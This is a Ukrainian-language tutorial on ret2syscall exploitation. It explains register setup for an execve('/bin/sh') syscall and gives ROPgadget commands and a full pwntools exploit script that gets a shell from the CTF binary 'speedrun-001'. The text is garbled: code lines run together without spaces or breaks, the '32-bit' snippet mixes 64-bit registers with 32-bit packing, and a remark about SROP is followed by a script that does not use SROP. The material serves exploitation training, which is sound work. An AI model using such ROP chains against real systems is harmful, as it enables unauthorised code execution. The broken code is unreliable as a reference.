Це схоже на Ret2lib, однак у цьому випадку ми не будемо викликати функцію з бібліотеки. У цьому випадку все буде підготовлено для виклику системного виклику sys_execve з деякими аргументами для виконання /bin/sh. Ця техніка зазвичай виконується на бінарних файлах, які скомпільовані статично, тому може бути багато гаджетів і інструкцій системного виклику.
Щоб підготувати виклик для syscall, потрібна наступна конфігурація:
rax: 59 Вказати sys_execve
rdi: ptr до "/bin/sh" вказати файл для виконання
rsi: 0 вказати, що аргументи не передані
rdx: 0 вказати, що змінні середовища не передані
Отже, в основному потрібно записати рядок /bin/sh десь, а потім виконати syscall (з урахуванням заповнення, необхідного для контролю стеку). Для цього нам потрібен гаджет, щоб записати /bin/sh у відомій області.
Ще один цікавий системний виклик для виклику - це mprotect, який дозволить зловмиснику змінити дозволи сторінки в пам'яті. Це можна поєднати з ret2shellcode.
Register gadgets
Давайте почнемо з пошуку як контролювати ці регістри:
Тоді вам потрібно знайти спосіб записати довільний вміст за цією адресою
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Автоматизація ROP ланцюга
Наступна команда створює повний sys_execve ROP ланцюг для статичного бінарного файлу, коли є гаджети write-what-where та інструкції syscall:
ROPgadget--binaryvuln--ropchain
32 біти
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 біти
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Відсутність гаджетів
Якщо у вас відсутні гаджети, наприклад, для запису /bin/sh в пам'ять, ви можете використовувати техніку SROP для контролю всіх значень регістрів (включаючи RIP та регістри параметрів) зі стеку:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 біти, nx, без PIE, записати в пам'ять ROP для виклику execve і стрибка туди. Для запису в стек зловживається функцією, яка виконує математичні операції.